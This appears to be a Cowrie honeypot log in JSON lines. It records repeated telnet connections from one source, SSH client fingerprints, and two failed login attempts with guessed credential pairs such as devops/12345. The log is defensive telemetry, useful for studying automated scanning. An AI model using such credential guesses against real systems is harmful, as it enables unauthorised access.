{"eventid":"cowrie.session.closed","duration":31.469754457473755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:51.844715Z","src_ip":"206.54.191.52","session":"6ccfd21bcbdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342442750930786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:51.983661Z","src_ip":"206.54.191.52","session":"e604af1f9372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":42074,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5e1a1cb8e9a","protocol":"telnet","message":"New connection: 206.54.191.52:42074 (159.203.135.109:23) [session: f5e1a1cb8e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:52.530217Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":35934,"dst_ip":"10.17.0.5","dst_port":23,"session":"941674ef00fc","protocol":"telnet","message":"New connection: 157.173.110.44:35934 (10.17.0.5:23) [session: 941674ef00fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:52.730765Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45198,"dst_ip":"159.203.135.109","dst_port":23,"session":"51013da6a091","protocol":"telnet","message":"New connection: 206.54.191.52:45198 (159.203.135.109:23) [session: 51013da6a091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:56.837819Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43576,"dst_ip":"159.203.135.109","dst_port":23,"session":"46291ee64c8c","protocol":"telnet","message":"New connection: 206.54.191.52:43576 (159.203.135.109:23) [session: 46291ee64c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:57.233939Z"}
{"eventid":"cowrie.session.closed","duration":30.887946367263794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:59.181743Z","src_ip":"206.54.191.52","session":"e4adda5a3027","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49106,"dst_ip":"159.203.135.109","dst_port":23,"session":"842456d18b6e","protocol":"telnet","message":"New connection: 206.54.191.52:49106 (159.203.135.109:23) [session: 842456d18b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:59.648830Z"}
{"eventid":"cowrie.session.closed","duration":31.546070098876953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:16:59.708817Z","src_ip":"157.173.110.44","session":"9aa40ecfa7d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016539335250854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:00.446559Z","src_ip":"206.54.191.52","session":"251e6a7e9274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033963441848755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:01.160366Z","src_ip":"206.54.191.52","session":"b6fe3363640b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":51616,"dst_ip":"159.203.135.109","dst_port":23,"session":"71faaaf40a68","protocol":"telnet","message":"New connection: 206.54.191.52:51616 (159.203.135.109:23) [session: 71faaaf40a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:02.115631Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":51652,"dst_ip":"159.203.135.109","dst_port":23,"session":"076e5e47bd5b","protocol":"telnet","message":"New connection: 206.54.191.52:51652 (159.203.135.109:23) [session: 076e5e47bd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:02.149331Z"}
{"eventid":"cowrie.session.closed","duration":31.295073986053467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:02.439367Z","src_ip":"206.54.191.52","session":"bd9996e34dab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":52986,"dst_ip":"159.203.135.109","dst_port":23,"session":"345f0d63b595","protocol":"telnet","message":"New connection: 206.54.191.52:52986 (159.203.135.109:23) [session: 345f0d63b595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:03.603207Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":54866,"dst_ip":"159.203.135.109","dst_port":23,"session":"cec4456cdd8e","protocol":"telnet","message":"New connection: 206.54.191.52:54866 (159.203.135.109:23) [session: cec4456cdd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:05.562939Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":54960,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2c803983fb6","protocol":"telnet","message":"New connection: 206.54.191.52:54960 (159.203.135.109:23) [session: a2c803983fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:05.664385Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":52666,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a87182112f","protocol":"telnet","message":"New connection: 206.54.191.52:52666 (159.203.135.109:23) [session: 64a87182112f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:06.343983Z"}
{"eventid":"cowrie.session.closed","duration":31.073500633239746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:06.482074Z","src_ip":"206.54.191.52","session":"4347dd2a0b90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55724,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5a0b27abe5f","protocol":"telnet","message":"New connection: 206.54.191.52:55724 (159.203.135.109:23) [session: c5a0b27abe5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:06.538698Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56594,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e17ef3379c5","protocol":"telnet","message":"New connection: 206.54.191.52:56594 (159.203.135.109:23) [session: 3e17ef3379c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:07.367682Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56834,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5ff2be19c79","protocol":"telnet","message":"New connection: 206.54.191.52:56834 (159.203.135.109:23) [session: c5ff2be19c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:07.557170Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57242,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d8252a3b13","protocol":"telnet","message":"New connection: 206.54.191.52:57242 (159.203.135.109:23) [session: 99d8252a3b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:07.939019Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57412,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c28426c8f9","protocol":"telnet","message":"New connection: 206.54.191.52:57412 (159.203.135.109:23) [session: f4c28426c8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:08.152533Z"}
{"eventid":"cowrie.session.closed","duration":31.08113145828247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:08.216598Z","src_ip":"206.54.191.52","session":"431535e5c898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57588,"dst_ip":"159.203.135.109","dst_port":23,"session":"b428c41b781c","protocol":"telnet","message":"New connection: 206.54.191.52:57588 (159.203.135.109:23) [session: b428c41b781c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:08.304545Z"}
{"eventid":"cowrie.session.closed","duration":31.1466965675354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:08.384758Z","src_ip":"206.54.191.52","session":"ec527d87b2ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57728,"dst_ip":"159.203.135.109","dst_port":23,"session":"858525f7491f","protocol":"telnet","message":"New connection: 206.54.191.52:57728 (159.203.135.109:23) [session: 858525f7491f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:08.452811Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57392,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba934f5954d","protocol":"telnet","message":"New connection: 206.54.191.52:57392 (159.203.135.109:23) [session: cba934f5954d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.105360Z"}
{"eventid":"cowrie.session.closed","duration":30.942631483078003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.114990Z","src_ip":"206.54.191.52","session":"85727160fc28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008054971694946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.290727Z","src_ip":"206.54.191.52","session":"3245deb703ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58584,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1c0ab005e34","protocol":"telnet","message":"New connection: 206.54.191.52:58584 (159.203.135.109:23) [session: f1c0ab005e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.370836Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58898,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b6784415d93","protocol":"telnet","message":"New connection: 206.54.191.52:58898 (159.203.135.109:23) [session: 3b6784415d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.711230Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":57806,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e7d8e66e61e","protocol":"ssh","message":"New connection: 14.225.205.58:57806 (10.17.0.5:22) [session: 5e7d8e66e61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.859847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.864751Z","src_ip":"14.225.205.58","session":"5e7d8e66e61e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.147.111","src_port":59420,"dst_ip":"10.17.0.5","dst_port":22,"session":"b693e5e2254f","protocol":"ssh","message":"New connection: 120.48.147.111:59420 (10.17.0.5:22) [session: b693e5e2254f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.960528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:09.965267Z","src_ip":"120.48.147.111","session":"b693e5e2254f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:10.123899Z","src_ip":"14.225.205.58","session":"5e7d8e66e61e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:10.182659Z","src_ip":"120.48.147.111","session":"b693e5e2254f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58582,"dst_ip":"159.203.135.109","dst_port":23,"session":"201033f19a47","protocol":"telnet","message":"New connection: 206.54.191.52:58582 (159.203.135.109:23) [session: 201033f19a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:10.371461Z"}
{"eventid":"cowrie.session.closed","duration":30.413245677947998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:10.388844Z","src_ip":"206.54.191.52","session":"7fd864d15cf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59488,"dst_ip":"159.203.135.109","dst_port":23,"session":"f57ec9860eb5","protocol":"telnet","message":"New connection: 206.54.191.52:59488 (159.203.135.109:23) [session: f57ec9860eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:10.399756Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59668,"dst_ip":"159.203.135.109","dst_port":23,"session":"a575434f9f85","protocol":"telnet","message":"New connection: 206.54.191.52:59668 (159.203.135.109:23) [session: a575434f9f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:10.558030Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester11","message":"login attempt [tester/tester11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:11.084576Z","src_ip":"120.48.147.111","session":"b693e5e2254f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:11.187692Z","src_ip":"14.225.205.58","session":"5e7d8e66e61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.286291122436523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:11.705843Z","src_ip":"206.54.191.52","session":"7648c9ad29d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:12.305010Z","src_ip":"120.48.147.111","session":"b693e5e2254f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":60446,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb1b43d1e485","protocol":"telnet","message":"New connection: 206.54.191.52:60446 (159.203.135.109:23) [session: fb1b43d1e485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:12.335772Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:12.449551Z","src_ip":"14.225.205.58","session":"5e7d8e66e61e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":60724,"dst_ip":"159.203.135.109","dst_port":23,"session":"53e3b2194bcb","protocol":"telnet","message":"New connection: 206.54.191.52:60724 (159.203.135.109:23) [session: 53e3b2194bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:12.581983Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34234,"dst_ip":"159.203.135.109","dst_port":23,"session":"33e30edb0d1e","protocol":"telnet","message":"New connection: 206.54.191.52:34234 (159.203.135.109:23) [session: 33e30edb0d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:13.201321Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":33982,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce11a329a401","protocol":"telnet","message":"New connection: 206.54.191.52:33982 (159.203.135.109:23) [session: ce11a329a401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:13.880261Z"}
{"eventid":"cowrie.session.closed","duration":31.221582174301147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:14.565091Z","src_ip":"206.54.191.52","session":"c59bc782313e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36196,"dst_ip":"159.203.135.109","dst_port":23,"session":"25a143904646","protocol":"telnet","message":"New connection: 206.54.191.52:36196 (159.203.135.109:23) [session: 25a143904646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:14.723044Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35052,"dst_ip":"159.203.135.109","dst_port":23,"session":"42eb1350c94d","protocol":"telnet","message":"New connection: 206.54.191.52:35052 (159.203.135.109:23) [session: 42eb1350c94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:14.757181Z"}
{"eventid":"cowrie.session.closed","duration":31.179327726364136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:15.419571Z","src_ip":"206.54.191.52","session":"00c8b1130160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37894,"dst_ip":"159.203.135.109","dst_port":23,"session":"3549467b9428","protocol":"telnet","message":"New connection: 206.54.191.52:37894 (159.203.135.109:23) [session: 3549467b9428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:16.261666Z"}
{"eventid":"cowrie.session.closed","duration":31.218116283416748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:16.312350Z","src_ip":"206.54.191.52","session":"f6d25aa288fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44065499305725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:17.337696Z","src_ip":"206.54.191.52","session":"304cbc7339d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969401121139526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:18.181438Z","src_ip":"206.54.191.52","session":"b10631b590d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.325953722000122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:18.188374Z","src_ip":"206.54.191.52","session":"1849dcc1e5c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930274486541748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:19.112879Z","src_ip":"206.54.191.52","session":"d1edb87d1063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892159700393677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:19.396246Z","src_ip":"206.54.191.52","session":"42fcdefd6f58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48164129257202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:19.564073Z","src_ip":"206.54.191.52","session":"6daea57f232e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":40370,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f0a47cfad30","protocol":"telnet","message":"New connection: 206.54.191.52:40370 (159.203.135.109:23) [session: 7f0a47cfad30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:19.775046Z"}
{"eventid":"cowrie.session.closed","duration":31.279200553894043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:19.792710Z","src_ip":"206.54.191.52","session":"891d7c0df8af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854496955871582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:20.196500Z","src_ip":"206.54.191.52","session":"edd1fdc5fff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23980164527893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:20.634325Z","src_ip":"206.54.191.52","session":"1f58d5f26d3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952112197875977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:21.238704Z","src_ip":"206.54.191.52","session":"9d88c66a865d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43282,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f5f64e120ab","protocol":"telnet","message":"New connection: 206.54.191.52:43282 (159.203.135.109:23) [session: 0f5f64e120ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:21.662070Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43850,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f47f85b1162","protocol":"telnet","message":"New connection: 206.54.191.52:43850 (159.203.135.109:23) [session: 7f47f85b1162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:22.124549Z"}
{"eventid":"cowrie.session.closed","duration":30.82400369644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:22.170652Z","src_ip":"206.54.191.52","session":"ed7bbca83f5a","protocol":"telnet"}
